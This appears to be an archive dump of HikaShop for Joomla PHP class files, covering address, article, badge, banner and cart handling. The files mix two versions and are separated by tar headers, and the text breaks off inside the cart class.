 * @license	GNU/GPLv3 http://www.gnu.org/licenses/gpl-3.0.html
 */
defined('_JEXEC') or die('Restricted access');
?><?php
class hikashopAddressClass extends hikashopClass{
	var $tables = array('address');
	var $pkeys = array('address_id');

	function getByUser($user_id){
		$query = 'SELECT a.* FROM
'.hikashop_table('address').' AS a WHERE
a.address_user_id='.(int)$user_id.' and a.address_published=1
ORDER BY a.address_default DESC, a.address_id DESC';
		$this->database->setQuery($query);
		return $this->database->loadObjectList('address_id');
	}

	function
loadZone(&$addresses,$type='name',$display='frontcomp'){
		$fieldClass = hikashop_get('class.field');
		$fields = $fieldClass->getData($display,'address');
		$this->fields =& $fields;

		if(!empty($fields)){
			$namekeys = array();
			foreach($fields as $field){
				if($field->field_type=='zone'){
					$namekeys[$field->field_namekey] = $field->field_namekey;
				}
			}
			if(!empty($namekeys)){
				$zones=array();
				foreach($addresses as $address){
					foreach($namekeys as $namekey){
						if(!empty($address->$namekey)){
							$zones[$address->$namekey]=$address->$namekey;
						}
					}
				}

				if(!empty($zones)){
					if(in_array($type,array('name','object'))){
						$query = 'SELECT * FROM
'.hikashop_table('zone').' WHERE zone_namekey IN
(\''.implode('\',\'',$zones).'\');';
						$this->database->setQuery($query);
						$zones =
$this->database->loadObjectList('zone_namekey');
						if(!empty($zones)){
							foreach($addresses as $k => $address){
								foreach($namekeys as $namekey){
									if(!empty($address->$namekey) &&
!empty($zones[$address->$namekey])){
										if($type=='name'){
											if(is_numeric($zones[$address->$namekey]->zone_name_english)){
												$addresses[$k]->$namekey =
$zones[$address->$namekey]->zone_name;
											}else{
												$addresses[$k]->$namekey=$zones[$address->$namekey]->zone_name_english;
											}
										}else{
											$addresses[$k]->$namekey=$zones[$address->$namekey];
										}
									}
								}
							}
						}
					}else{
						$this->_getParents($zones,$addresses,$namekeys);
					}
				}
			}
		}
	}

	function loadUserAddresses($user_id){
		static $addresses = array();
		if(!isset($addresses[$user_id])){
			$query = 'SELECT a.* FROM
'.hikashop_table('address').' AS a WHERE
a.address_user_id='.(int)$user_id.' and a.address_published=1
ORDER BY a.address_default DESC, a.address_id DESC';
			$this->database->setQuery($query);
			$addresses[$user_id] =
$this->database->loadObjectList('address_id');
		}
		return $addresses[$user_id];
	}



	function _getParents(&$zones,&$addresses,&$fields){
		$namekeys = array();
		foreach($zones as $zone){
			$namekeys[]=$this->database->Quote($zone);
		}
		$query = 'SELECT a.* FROM
'.hikashop_table('zone_link').' AS a WHERE
a.zone_child_namekey IN
('.implode(',',$namekeys).');';
		$this->database->setQuery($query);
		$parents = $this->database->loadObjectList();
		if(!empty($parents)){
			$childs = array();
			foreach($parents as $parent){
				foreach($addresses as $k => $address){
					foreach($fields as $field){
						if(!is_array($addresses[$k]->$field)){
							$addresses[$k]->$field = array($addresses[$k]->$field);
						}
						foreach($addresses[$k]->$field as $value){
							if($value == $parent->zone_child_namekey &&
!in_array($parent->zone_parent_namekey,$addresses[$k]->$field)){
								$values =& $addresses[$k]->$field;
								$values[]=$parent->zone_parent_namekey;
								$childs[$parent->zone_parent_namekey]=$parent->zone_parent_namekey;
							}
						}
					}
				}
			}
			if(!empty($childs)){
				$this->_getParents($childs,$addresses,$fields);
			}
		}

	}

	function save(&$addressData,$order_id=0,$type='shipping'){
		$new = true;
		if(!empty($addressData->address_id)){
			$new = false;
			$oldData = $this->get($addressData->address_id);

			if(!empty($addressData->address_vat) &&
$oldData->address_vat != $addressData->address_vat){
				if(!$this->_checkVat($addressData)){
					return false;
				}
			}

			$app = JFactory::getApplication();
			if(!$app->isAdmin()){
				$user_id = hikashop_loadUser();
				if($user_id!=$oldData->address_user_id ||
!$oldData->address_published){
					unset($addressData->address_id);
					$new = true;
				}
			}

			$orderClass = hikashop_get('class.order');

			if(!empty($addressData->address_id) &&
($oldData->address_published!=0||$order_id) &&
$orderClass->addressUsed($addressData->address_id,$order_id,$type)){
				unset($addressData->address_id);
				$new = true;
				$oldData->address_published=0;
				parent::save($oldData);
			}
		}elseif(!empty($addressData->address_vat)){
			if(!$this->_checkVat($addressData)){
				return false;
			}
		}
		JPluginHelper::importPlugin( 'hikashop' );
		$dispatcher = JDispatcher::getInstance();
		$do = true;
		if($new){
			if(!empty($addressData->address_user_id)) {
				$query = 'SELECT count(*) as cpt FROM
'.hikashop_table('address').' WHERE address_user_id =
'.$addressData->address_user_id.' AND address_published = 1
AND address_default = 1';
				$this->database->setQuery($query);
				$ret = $this->database->loadObject();
				if($ret->cpt == 0) {
					$addressData->address_default = 1;
				}
			}

			$dispatcher->trigger( 'onBeforeAddressCreate', array( &
$addressData, & $do) );
		}else{
			$dispatcher->trigger( 'onBeforeAddressUpdate', array( &
$addressData, & $do) );
		}
		if(!$do){
			return false;
		}
		$status = parent::save($addressData);
		if(!$status){
			return false;
		}
		if(!empty($addressData->address_default) &&
!empty($oldData->address_id)){
			$query = 'UPDATE '.hikashop_table('address').'
SET address_default=0 WHERE address_user_id =
'.$oldData->address_user_id.' AND address_id !=
'.$oldData->address_id;
			$this->database->setQuery($query);
			$this->database->query();
		}
		if($new){
			$dispatcher->trigger( 'onAfterAddressCreate', array( &
$addressData ) );
		}else{
			$dispatcher->trigger( 'onAfterAddressUpdate', array( &
$addressData ) );
		}
		return $status;
	}

	function delete(&$elements,$order=false){
		$elements = (int)$elements;

		JPluginHelper::importPlugin( 'hikashop' );
		$dispatcher = JDispatcher::getInstance();
		$do=true;
		$dispatcher->trigger( 'onBeforeAddressDelete', array( &
$elements, & $do) );
		if(!$do){
			return false;
		}
		$orderClass = hikashop_get('class.order');
		$status = true;
		if($orderClass->addressUsed($elements)){
			if(!$order){
				$address=new stdClass();
				$address->address_id = $elements;
				$address->address_published=0;
				$status = parent::save($address);
				$app = JFactory::getApplication();
				if($app->isAdmin()){
					$app->enqueueMessage(JText::_('ADDRESS_UNPUBLISHED_CAUSE_USED_IN_ORDER'));
				}
			}
		}else{
			$data = $this->get($elements);
			if(!$order || (isset($data->address_published) &&
!$data->address_published)){
				$status = parent::delete($elements);
			}
		}
		if($status){
			$dispatcher->trigger( 'onAfterAddressDelete', array( &
$elements ) );
		}
		return $status;
	}

	function _checkVat(&$vatData){
		$vat = hikashop_get('helper.vat');
		if(!$vat->isValid($vatData)){
			$this->message = @$vat->message;
			return false;
		}
		return true;
	}
}
article.php000064400000005172151160302610006700 0ustar00<?php
/**
 * @package	HikaShop for Joomla!
 * @version	4.4.1
 * @author	hikashop.com
 * @copyright	(C) 2010-2021 HIKARI SOFTWARE. All rights reserved.
 * @license	GNU/GPLv3 http://www.gnu.org/licenses/gpl-3.0.html
 */
defined('_JEXEC') or die('Restricted access');
?><?php
class hikashopArticleClass extends hikashopClass {

	public function getLanguageArticleId($id) {
		if ($id > 0 && JLanguageAssociations::isEnabled()) {
			$associated =
JLanguageAssociations::getAssociations('com_content',
'#__content', 'com_content.item', $id);
			$currentLang = JFactory::getLanguage()->getTag();

			if (isset($associated[$currentLang]))
				$id = $associated[$currentLang]->id;
		}
		return $id;
	}

	public function &getNameboxData($typeConfig, &$fullLoad, $mode,
$value, $search, $options) {
		$ret = array(
			0 => array(),
			1 => array()
		);

		$fullLoad = false;
		$displayFormat = !empty($options['displayFormat']) ?
$options['displayFormat'] :
@$typeConfig['displayFormat'];

		$start = (int)@$options['start']; // TODO
		$limit = (int)@$options['limit'];
		$page = (int)@$options['page'];
		if($limit <= 0)
			$limit = 50;

		$select = array('c.*');
		$table = array('#__content AS c');
		$where = array();

		if(!empty($search)) {
			$searchMap = array('c.title', 'c.alias',
'c.id');
			if(!HIKASHOP_J30)
				$searchVal = '\'%' .
$this->db->getEscaped(HikaStringHelper::strtolower($search), true) .
'%\'';
			else
				$searchVal = '\'%' .
$this->db->escape(HikaStringHelper::strtolower($search), true) .
'%\'';
			$where['search'] = '('.implode(' LIKE
'.$searchVal.' OR ', $searchMap).' LIKE
'.$searchVal.')';
		}

		$order = ' ORDER BY c.id DESC';

		if(count($where))
			$where = ' WHERE ' . implode(' AND ', $where);
		else
			$where = '';

		$query = 'SELECT '.implode(', ', $select) . '
FROM ' . implode(' ', $table) . $where . $order;
		$this->db->setQuery($query, $page, $limit);

		$ret[0] = $this->db->loadObjectList('id');

		if(count($ret[0]) < $limit)
			$fullLoad = true;

		if(empty($value))
			return $ret;

		if($mode == hikashopNameboxType::NAMEBOX_SINGLE &&
isset($ret[0][$value])) {
			$ret[1][$value] = $ret[0][$value];
		} elseif($mode == hikashopNameboxType::NAMEBOX_SINGLE) {
			$query = 'SELECT '.implode(', ', $select) . '
FROM ' . implode(' ', $table) . ' WHERE c.id =
'.(int)$value;
			$this->db->setQuery($query);
			$ret[1][$value] = $this->db->loadObject();
		} elseif($mode == hikashopNameboxType::NAMEBOX_MULTIPLE &&
is_array($value)) {
			foreach($value as $v) {
				if(isset($ret[0][$v])) {
					$ret[1][$v] = $ret[0][$v];
				}
			}
		}
		return $ret;
	}
}
badge.php000064400000016063151160302610006320 0ustar00<?php
/**
 * @package	HikaShop for Joomla!
 * @version	2.2.3
 * @author	hikashop.com
 * @copyright	(C) 2010-2013 HIKARI SOFTWARE. All rights reserved.
 * @license	GNU/GPLv3 http://www.gnu.org/licenses/gpl-3.0.html
 */
defined('_JEXEC') or die('Restricted access');
?><?php
class hikashopBadgeClass extends hikashopClass {
	var $tables = array('badge');
	var $pkeys = array('badge_id');
	var $toggle =
array('badge_published'=>'badge_id');

	function saveForm() {
		$element = new stdClass();
		$element->badge_id = hikashop_getCID('badge_id');
		$formData = JRequest::getVar( 'data', array(), '',
'array' );
		foreach($formData['badge'] as $column => $value) {
			hikashop_secureField($column);
			$element->$column = strip_tags($value);
		}
		if(!empty($element->badge_start)){
			$element->badge_start = hikashop_getTime($element->badge_start);
		}
		if(!empty($element->badge_end)){
			$element->badge_end = hikashop_getTime($element->badge_end);
		}
		$class = hikashop_get('class.file');
		$element->badge_image=$class->saveFile();
		if(empty($element->badge_image))
			unset($element->badge_image);
		$status = $this->save($element);

		return $status;
	}

	function loadBadges(&$row) {
		$discount=new stdClass();
		$qty = 0;
		if(isset($row->main)){
			if(@$row->main->discount) $discount =&
$row->main->discount;
			$product_id = $row->main->product_id;
			$qty = $row->main->product_quantity;
		}else{
			if(@$row->discount) $discount =& $row->discount;
			$product_id = $row->product_id;
			$qty = $row->product_quantity;
		}
		$badge_filters=array('a.badge_start <= '.time(),'(
a.badge_end >= '.time().' OR a.badge_end =0
)','a.badge_published=1','(a.badge_quantity=\'\'
OR a.badge_quantity='.(int)$qty.')');
		if($discount){
			$badge_filters[]='(badge_discount_id='.(int)@$discount->discount_id.'
OR badge_discount_id=0 )';
		}else{
			$badge_filters[]='badge_discount_id=0 ';
		}


		$categories=array();
		$categoryClass = hikashop_get('class.category');
		$productClass = hikashop_get('class.product');
		$loadedCategories = $productClass->getCategories($product_id);

		if(!empty($loadedCategories)){
			foreach($loadedCategories as $cat){
				$categories['originals'][$cat]=$cat;
			}
		}

		$parents = $categoryClass->getParents($loadedCategories);
		if(!empty($parents) && is_array($parents)) {
			foreach($parents as $parent) {
				$categories['parents'][$parent->category_id] =
$parent->category_id;
			}
		}

		$badge_filters = implode(' AND ',$badge_filters);

		if(!empty($categories)) {
			$categories_filter = array('AND ((badge_category_childs = 0 AND
(badge_category_id = 0');
			if(!empty($categories['originals'])) {
				foreach($categories['originals'] as $cat) {
					$categories_filter[] = 'badge_category_id = '.(int)$cat;
				}
			}
			$badge_filters .= implode(' OR
',$categories_filter).'))';

			$categories_filter = array('OR (badge_category_childs = 1 AND
(badge_category_id=0');
			if(!empty($categories['parents'])) {
				foreach($categories['parents'] as $cat) {
					$categories_filter[] = 'badge_category_id = '.(int)$cat;
				}
			}
			$badge_filters .= implode(' OR
',$categories_filter).')))';
		}

		static $badges = array();
		$key = sha1($badge_filters);
		if(!isset($badges[$key])){
			$query = ' FROM '.hikashop_table('badge').' AS
a WHERE '.$badge_filters.' ORDER BY a.badge_ordering
ASC,a.badge_id ASC';
			$this->database->setQuery('SELECT a.*'.$query);
			$badges[$key] = $this->database->loadObjectList();
		}
		$row->badges = $badges[$key];
	}

	function placeBadges(&$image, &$badges, $vertical, $horizontal,
$echo = true){
		if(empty($badges))
			return;
		$position1 = 0;
		$position2 = 0;
		$position3 = 0;
		$position4 = 0;
		$backup_main_x = $image->main_thumbnail_x;
		$backup_main_y = $image->main_thumbnail_y;
		$width_real= $image->thumbnail_x;
		$height_real= $image->thumbnail_y;
		$html = '';

		foreach($badges as $badge){
			if($badge->badge_published == 1) {
				if(!empty($badge->badge_keep_size)){
					list($badge_width, $badge_height) =
getimagesize($image->getPath(@$badge->badge_image,false));
				}else{
					$badge_width = intval(($width_real * $badge->badge_size) / 100);
					$badge_height = intval(($height_real * $badge->badge_size) / 100);
				}
				$position = $badge->badge_position;
				$position_top = $badge->badge_vertical_distance + $vertical;
				$position_right = $badge->badge_horizontal_distance + $horizontal;
				$position_left = $badge->badge_horizontal_distance + $horizontal;
				$position_bottom = $badge->badge_vertical_distance + $vertical;
				$styletopleft="position: absolute; z-index:2; top:
".$position_top."px; left:
".$position_left."px;margin-top:10px;";
				$styletopright="position: absolute; z-index:3; top:
".$position_top."px; right:
".$position_right."px;margin-top:10px;";
				$stylebottomleft="position: absolute; z-index:4; bottom:
".$position_bottom."px; left:
".$position_left."px;margin-bottom:10px;";
				$stylebottomright="position: absolute; z-index:5; bottom:
".$position_bottom."px; right:
".$position_right."px;margin-bottom:10px;";
				if(!empty($badge->badge_url)){
					$imageDisplayed='<a
href="'.hikashop_cleanURL($badge->badge_url).'">'.
$image->display(@$badge->badge_image,false,@$badge->badge_name,'','',
$badge_width, $badge_height).'</a>';
				}else{
					$imageDisplayed=$image->display(@$badge->badge_image,false,@$badge->badge_name,'','',
$badge_width, $badge_height);
				}
				if($position == 'topleft' && ($position1 == 0 ||
$badge->badge_ordering < $position1)) {
					$html .= '<div class="hikashop_badge_topleft_div"
style="' . $styletopleft .
'">'.$imageDisplayed.'</div>';
					$position1 = $badge->badge_ordering;
				}
				elseif($position == 'topright' && ($position2 == 0 ||
$badge->badge_ordering < $position2)) {
					$html .= '<div class="hikashop_badge_topright_div"
style="' . $styletopright .
'">'.$imageDisplayed.'</div>';
					$position2 = $badge->badge_ordering;
				}
				elseif($position == 'bottomright' && ($position3 == 0
|| $badge->badge_ordering < $position3)) {
					$html .= '<div
class="hikashop_badge_bottomright_div" style="' .
$stylebottomright .
'">'.$imageDisplayed.'</div>';
					$position3 = $badge->badge_ordering;
				}
				elseif($position == 'bottomleft' && ($position4 == 0
|| $badge->badge_ordering < $position4)) {
					$html .= '<div class="hikashop_badge_bottomleft_div"
style="' . $stylebottomleft .
'">'.$imageDisplayed.'</div>';
					$position4 = $badge->badge_ordering;
				}
			}
		}
		$image->main_thumbnail_x = $backup_main_x;
		$image->main_thumbnail_y = $backup_main_y;
		if($echo)
			echo $html;
		else
			return $html;
	}

	function save(&$element) {
		$isNew = empty($element->badge_id);
		$status = parent::save($element);
		if(!$status) {
			return false;
		}
		if($isNew) {
			$element->badge_id = $status;
			$orderClass = hikashop_get('helper.order');
			$orderClass->pkey = 'badge_id';
			$orderClass->table = 'badge';
			$orderClass->orderingMap = 'badge_ordering';
			$orderClass->reOrder();
		}
		return $status;
	}
}
banner.php000064400000003057151160302610006522 0ustar00<?php
/**
 * @package	HikaShop for Joomla!
 * @version	2.2.3
 * @author	hikashop.com
 * @copyright	(C) 2010-2013 HIKARI SOFTWARE. All rights reserved.
 * @license	GNU/GPLv3 http://www.gnu.org/licenses/gpl-3.0.html
 */
defined('_JEXEC') or die('Restricted access');
?><?php
class hikashopBannerClass extends hikashopClass{
	var $tables = array('banner');
	var $pkeys = array('banner_id');
	var $toggle =
array('banner_published'=>'banner_id');

	function saveForm(){
		$element = new stdClass();
		$element->banner_id = hikashop_getCID('banner_id');
		$formData = JRequest::getVar( 'data', array(), '',
'array' );
		foreach($formData['banner'] as $column => $value){
			hikashop_secureField($column);
			if($column=='banner_comment'){
				$safeHtmlFilter = & JFilterInput::getInstance(null, null, 1, 1);
				$element->$column = $safeHtmlFilter->clean($value);
			}else{
				$element->$column = strip_tags($value);
			}
		}
		$class = hikashop_get('helper.translation');
		$class->getTranslations($element);
		$result = $this->save($element);
		if($result){
			$class->handleTranslations('banner',$result,$element);
		}
		return $result;
	}

	function save(&$element){
		$status = parent::save($element);

		if(!$status){
			return false;
		}
		if(empty($element->banner_id)){
			$element->banner_id = $status;
			$orderClass = hikashop_get('helper.order');
			$orderClass->pkey = 'banner_id';
			$orderClass->table = 'banner';
			$orderClass->orderingMap = 'banner_ordering';
			$orderClass->reOrder();
		}
		return $status;
	}
}
cart.php000064400000176705151160302610006221 0ustar00<?php
/**
 * @package	HikaShop for Joomla!
 * @version	2.2.3
 * @author	hikashop.com
 * @copyright	(C) 2010-2013 HIKARI SOFTWARE. All rights reserved.
 * @license	GNU/GPLv3 http://www.gnu.org/licenses/gpl-3.0.html
 */
defined('_JEXEC') or die('Restricted access');
?><?php
class hikashopCartClass extends hikashopClass{
	var $tables = array('cart_product','cart');
	var $pkeys = array('cart_id','cart_id');
	var $options = array();
	var $new_quantities = array();
	var $insertedIds = array();
	var $cart_type = 'cart';

	function hasCart($cart_id=0){
		$this->loadCart($cart_id);
		if(!empty($this->cart->cart_id)){
			return true;
		}
		return false;
	}

	function loadCart($cart_id=0,$reset=false){
		static $carts = array();
		if($reset){
			$carts = array();
			$this->cart_id = 0;
			$this->cart = null;
			return true;
		}

		$this->filters = array();
		$app = JFactory::getApplication();
		if(empty($cart_id) || $cart_id == 0){
			$this->cart_id = $app->getUserState(
HIKASHOP_COMPONENT.'.'.$this->cart_type.'_id', 0,
'int' );
		} else {
			$this->cart_id = $cart_id;
		}
		if(!isset($this->cart) || is_null($this->cart))
			$this->cart = new stdClass();
		$this->cart->cart_id = $this->cart_id;

		if(!empty($this->cart_id)){
			$this->filters[]='a.cart_id = '.(int)$this->cart_id;
		}else{
			$user = JFactory::getUser();
			if(!empty($user->id)){
				$this->filters[]='a.user_id = '.(int)$user->id;
			}
			$session = JFactory::getSession();
			if($session->getId()){
				$this->filters[]='a.session_id =
'.$this->database->Quote($session->getId());
			}
		}
		$filter='';
		if(!empty($this->filters)) $filter = "(".implode(' OR
',$this->filters).")";

		if($this->cart_type){
			if(!empty($filter)) $filter .= " AND ";
			$filter .= 'a.cart_type =
'.$this->database->Quote($this->cart_type);
		}
		if(!empty($carts[$filter])){
			$this->cart =& $carts[$filter];
		}else{

			if(!empty($filter)){
				$query='SELECT a.* FROM
'.hikashop_table('cart').' AS a WHERE
'.$filter.' ORDER BY a.cart_modified DESC LIMIT 1';
				$this->database->setQuery($query);
				$this->cart = $this->database->loadObject();

				if(!empty($this->cart->cart_params)) {
					$this->cart->cart_params =
unserialize($this->cart->cart_params);
				}
			}else{
				$this->cart = null;
			}
			$carts[$filter] =& $this->cart;
		}
		return $this->cart;
	}

	function get($cart_id=0,$keepEmptyCart=false,
$cart_type='cart'){
		$result = false;
		if(!isset($this->cart_type) || ($this->cart_type ==
'cart' && $cart_type == 'wishlist'))
			$this->cart_type = $cart_type;
		if($this->hasCart($cart_id)){
			$filters=array('b.cart_id =
'.$this->cart->cart_id,'b.product_id > 0');
			hikashop_addACLFilters($filters,'product_access','c');
			$query='SELECT b.*,c.* FROM
'.hikashop_table('cart_product').' AS b LEFT JOIN
'.hikashop_table('product').' AS c ON
b.product_id=c.product_id WHERE '.implode(' AND
',$filters).' ORDER BY c.product_parent_id
ASC,b.cart_product_modified ASC';
			$this->database->setQuery($query);
			$products =
$this->database->loadObjectList('cart_product_id');
			$app = JFactory::getApplication();
			if(empty($products) && !$keepEmptyCart &&
!$app->getUserState(HIKASHOP_COMPONENT.'.'.$cart_type.'_new',
'0')){
				$this->delete($this->cart->cart_id);
				$app->setUserState(HIKASHOP_COMPONENT.'.'.$cart_type.'_id',
0);
				$app->setUserState(
HIKASHOP_COMPONENT.'.coupon_code','');
				$this->cart = null;
			}
			return $products;
		}
		return $result;
	}

	function addToCartFromFields(&$entriesData,&$fields){
		$this->resetCart(false);
		$app = JFactory::getApplication();

		$productsToAdd = array();
		$coupons = array();
		foreach($entriesData as $entryData){
			foreach(get_object_vars($entryData) as $namekey=>$value){
				foreach($fields as $field){
					if($field->field_namekey==$namekey){
						$ok = false;
						if(!empty($field->field_options) &&
!is_array($field->field_options)) $field->field_options =
unserialize($field->field_options);
						if(!empty($field->field_options['product_id'])){
							if(is_numeric($value) &&
is_numeric($field->field_options['product_value'])){
								if( $value === $field->field_options['product_value']
){
									$ok = true;
								}
							}elseif(is_string($value) &&
in_array($value,$field->field_options['product_value'])){
								$ok = true;
							}elseif($value ==
$field->field_options['product_value']){
								$ok = true;
							}

							if($ok){
								$id = $field->field_options['product_id'];
								if(empty($productsToAdd[$id])){
									$productsToAdd[$id]=1;
								}else{
									$productsToAdd[$id]++;
								}
							}
						}

						if($field->field_type=='coupon' &&
!empty($field->coupon[$value])){
							$coupons[] = $field->coupon[$value];
						}
						break;
					}
				}
			}
		}
		if(!empty($productsToAdd)){
			$array = array();
			foreach($productsToAdd as $id => $qty){
				$this->updateEntry($qty,$array,$id,0,false);
			}
		}
		if(count($coupons)>1){
			$total = 0.0;
			$currency = hikashop_getCurrency();
			$currencyClass = hikashop_get('class.currency');
			$discountClass = hikashop_get('class.discount');
			foreach($coupons as $item){
				$currencyClass->convertCoupon($item,$currency);
				$total = $total + $item->discount_flat_amount;
				$this->database->setQuery('UPDATE
'.hikashop_table('discount').' SET
discount_used_times=discount_used_times+1 WHERE discount_id =
'.$item->discount_id);
				$this->database->query();
			}
			$newCoupon = new stdClass();
			$newCoupon->discount_type='coupon';
			$newCoupon->discount_currency_id = $currency;
			$newCoupon->discount_flat_amount = $total;
			$newCoupon->discount_quota = 1;
			jimport('joomla.user.helper');
			$newCoupon->discount_code = JUserHelper::genRandomPassword(30);
			$newCoupon->discount_published = 1;
			$discountClass->save($newCoupon);
			$coupon = $newCoupon;
		}elseif(count($coupons)==1){
			$coupon = reset($coupons);
		}

		if(!empty($coupon)){
			$this->update($coupon->discount_code,1,0,'coupon',false);
		}
		$this->loadCart(0,true);
		$app->setUserState(
HIKASHOP_COMPONENT.'.shipping_method',null);
		$app->setUserState(
HIKASHOP_COMPONENT.'.shipping_id',null);
		$app->setUserState(
HIKASHOP_COMPONENT.'.shipping_data',null);
	}

	function save(&$cart){
		if(isset($cart->cart_name)) $cart->cart_name =
strip_tags($cart->cart_name);
		if(isset($cart->cart_share)) $cart->cart_share =
strip_tags($cart->cart_share);
		if(isset($cart->cart_type)) $cart->cart_type =
strip_tags($cart->cart_type);
		if(!empty($cart->cart_params) &&
!is_string($cart->cart_params)) $cart->cart_params =
serialize($cart->cart_params);
		$cart_id = parent::save($cart);
		return $cart_id;
	}

	function initCart(){
		$cart = new stdClass();
		$cart->cart_type =
JRequest::getString('cart_type','cart');
		$cart->cart_id =
JRequest::getString($cart->cart_type.'_id','0');
		if(!empty($this->cart->cart_id)){
			$cart->cart_id = $this->cart->cart_id;
		}
		$app = JFactory::getApplication();
		if(!$app->isAdmin()) {
			$user = JFactory::getUser();
			if(!empty($user->id)){
				$cart->user_id = $user->id;
			}
			$session = JFactory::getSession();
			if($session->getId()){
				$cart->session_id = $session->getId();
			}
		}
		$cart->cart_modified=time();

		if(!$app->isAdmin() && !empty($this->cart->cart_id)
&& $this->cart->cart_id != $cart->cart_id) {
			$this->setCurrent($this->cart->cart_id,$cart->cart_type);
		}
		if(empty($this->cart))
			$this->cart = new stdClass();
		$this->cart->cart_id=(int)$this->save($cart);
		$cart->cart_id = $this->cart->cart_id;
		return $cart;
	}

	function resetCart($reset=true){
		$cartContent =& $this->get();
		$cart = $this->initCart();
		$app = JFactory::getApplication();
		$app->setUserState(
HIKASHOP_COMPONENT.'.entries_fields',null);
		if(!empty($cartContent)){
			$query = 'DELETE FROM
'.hikashop_table('cart_product').' WHERE cart_id =
'.$cart->cart_id;
			$this->database->setQuery($query);
			$this->database->query();
		}
		if(!empty($this->cart->cart_coupon)){
			$app->setUserState(
HIKASHOP_COMPONENT.'.coupon_code',$this->cart->cart_coupon);
			$this->update('',0,0,'coupon',false);
			$app->setUserState(
HIKASHOP_COMPONENT.'.coupon_code','');
		}
		$app->setUserState(
HIKASHOP_COMPONENT.'.shipping_method',null);
		$app->setUserState(
HIKASHOP_COMPONENT.'.shipping_id',null);
		$app->setUserState(
HIKASHOP_COMPONENT.'.shipping_data',null);

		if($reset){
			$this->loadCart(0,true);
		}
	}

	function
update($product_id,$quantity=1,$add=0,$type='product',$resetCartWhenUpdate=true,$force=false){
		if($type=='product' && empty($product_id))return
false;

		$this->cart_type =
JRequest::getString('cart_type','cart');

		$cart_id = $this->cart_type.'_id';
		$this->$cart_id = JRequest::getInt($cart_id,'0');

		$this->from_id =
JRequest::getString('from_id','0');
		$keepEmptyCart = false;
		if($type == 'cart'){
			$type = 'product';
			$keepEmptyCart = true;
			if(!isset($this->cart)) $this->cart = new stdClass();
			$this->cart->cart_id = $this->$cart_id;
		}
		if($this->cart_type != 'cart'){
			$resetCartWhenUpdate=false;
		}
		$cartContent =
$this->get($this->$cart_id,$keepEmptyCart,$this->cart_type);

		$app = JFactory::getApplication();
		$entries =
$app->getUserState(HIKASHOP_COMPONENT.'.entries_fields');
		if(!empty($entries) &&
in_array($type,array('product','item'))){
			return false;
		}

		$cart = $this->initCart();

		JRequest::setVar('new_'.$cart_id,$cart->cart_id);
		JPluginHelper::importPlugin( 'hikashop' );
		$dispatcher = JDispatcher::getInstance();
		$do = true;
		$dispatcher->trigger( 'onBeforeCartUpdate',
array(&$this, &$cart, &$product_id, &$quantity, &$add,
&$type,&$resetCartWhenUpdate,&$force,&$do) );
		if (!$do) return false;
		if(!$app->isAdmin() && $cart->cart_id){
			$app->setUserState(HIKASHOP_COMPONENT.'.'.$cart_id,
$this->cart->cart_id);
		}
		if(in_array($type,array('product','item'))){
			if(!is_array($product_id)){
				$pid =$product_id;
				$this->mainProduct = $product_id;
				$product_id=array($product_id=>$quantity);

				$options = JRequest::getVar( 'hikashop_product_option',
array(), '', 'array' );
				if(!empty($options)&& is_array($options)){
					$options=array_reverse($options);
					foreach($options as $optionElement){
						$this->options[$optionElement]=$pid;
						$product_id[$optionElement]=$quantity;
					}
				}
			}

			$updated = false;

			foreach($product_id as $id => $infos){

				$res =
$this->updateEntry($infos,$cartContent,(int)$id,$add,false,$type,$force);

				if(is_numeric($id) && $res){
					$updated = true;
				}
			}

			if($updated && $resetCartWhenUpdate){
				$this->loadCart(0,true);
				$app->setUserState(
HIKASHOP_COMPONENT.'.shipping_method',null);
				$app->setUserState(
HIKASHOP_COMPONENT.'.shipping_id',null);
				$app->setUserState(
HIKASHOP_COMPONENT.'.shipping_data',null);
			}
			$dispatcher->trigger( 'onAfterCartUpdate',array(
&$this, &$cart, &$product_id, &$quantity, &$add,
&$type,&$resetCartWhenUpdate,&$force,&$updated ));
			return $updated;
		}else{
			if($quantity){
				$new_coupon=$product_id;
			}else{
				$new_coupon='';
			}
			$old_coupon = $app->getUserState(
HIKASHOP_COMPONENT.'.coupon_code','');
			if(!empty($old_coupon) && $old_coupon == $new_coupon){
				return false;
			}
			$cart->cart_coupon = $new_coupon;
			$this->cart->cart_coupon = $new_coupon;
			if($this->save($cart)){
				if(!$quantity){
					if(!empty($product_id)){
						$message = JText::_('COUPON_REMOVED');
						$app->enqueueMessage( $message );
					}
				}
				if($resetCartWhenUpdate){
					$this->loadCart(0,true);
					$app->setUserState(
HIKASHOP_COMPONENT.'.coupon_code',$new_coupon);
				}
				$return = true;
				$dispatcher->trigger( 'onAfterCartUpdate',array(
&$this, &$cart, &$product_id, &$quantity, &$add,
&$type,&$resetCartWhenUpdate,&$force,&$return ));
				return $return;
			} else {
				$cart->cart_coupon = '';
				$this->cart->cart_coupon = '';
			}
		}

		$return = false;
		$dispatcher->trigger( 'onAfterCartUpdate',array( &$this,
&$cart, &$product_id, &$quantity, &$add,
&$type,&$resetCartWhenUpdate,&$force,&$return ));
		return $return;
	}

	function
updateEntry($quantity,&$cartContent,$product_id,$add,$resetCartWhenUpdate=true,$type='product',$force=false){
		if(empty($product_id))
			return false;
		if($type=='product'){
			$id = 0;
			if(!empty($cartContent)){
				$do = true;
				static $already_done = false;
				if((!$already_done || $force) && hikashop_level(2)){
					$already_done = true;
					$formData = JRequest::getVar( 'data', array(), '',
'array' );
					if(!empty($formData['item']) || !empty($_FILES)){
						$fieldClass = hikashop_get('class.field');
						$element = new stdClass();
						$element->product_id = $product_id;
						$data =
$fieldClass->getInput('item',$element,true,'data',$force);

						if($data===false){
							$this->errors = true;
							return false;
						}
						if(!empty($data)){
								$doCartID = null;
							$do = false;
							foreach($cartContent as $cart_product_id => $prod){
								if($prod->product_id == $product_id ){
									$same = true;
									foreach(get_object_vars($data) as $field => $var){
										if($prod->$field!=$var){
											$same = false;
										}
									}
									if($same){
										$do = true;
										$doCartID = $cart_product_id;
									}
								}
							}
						}
					}
				}

				if($do){
					foreach($cartContent as $cart_product_id => $prod){
						if (!empty($doCartID)) {
							if ($doCartID != $cart_product_id) continue;
						}
						if($prod->product_id==$product_id){
							if(@$this->mainProduct==$product_id ||
isset($this->mainProductCartId) &&
$this->mainProductCartId==@$prod->cart_product_option_parent_id
&&
@$this->mainProduct==@$cartContent[@$prod->cart_product_option_parent_id]->product_id){
								$already = array();
								foreach($cartContent as $optionElement){
									if($this->mainProduct==$product_id &&
$optionElement->cart_product_option_parent_id==$cart_product_id){
										$already[]=$optionElement->product_id;
										continue;
									}
									if(@$this->mainProduct==@$cartContent[@$prod->cart_product_option_parent_id]->product_id
&&
